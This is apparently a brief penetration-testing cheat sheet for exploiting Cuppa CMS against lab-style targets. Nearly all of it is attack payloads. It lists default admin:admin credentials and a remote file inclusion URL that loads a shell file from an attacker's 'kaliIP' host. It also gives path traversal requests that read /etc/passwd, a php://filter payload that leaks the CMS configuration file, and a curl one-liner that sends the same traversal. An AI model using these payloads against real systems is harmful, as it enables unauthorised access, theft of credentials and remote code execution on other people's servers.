# Cuppa CMS

**Cuppa CMS**

http://10.11.1.1/administrator/

Default creds → admin:admin

http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://kaliIP/shelly.txt? #LFI http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd # Path traversal

\#Reading /etc/passwd

http://10.11.1.1/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

**#Find config files and decode base64 output**

http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php

**#Same with curl**

curl -s --data-urlencode urlConfig=../../../../../../../etc/passwd http://10.11.1.116/administrator/alerts/alertConfigField.php
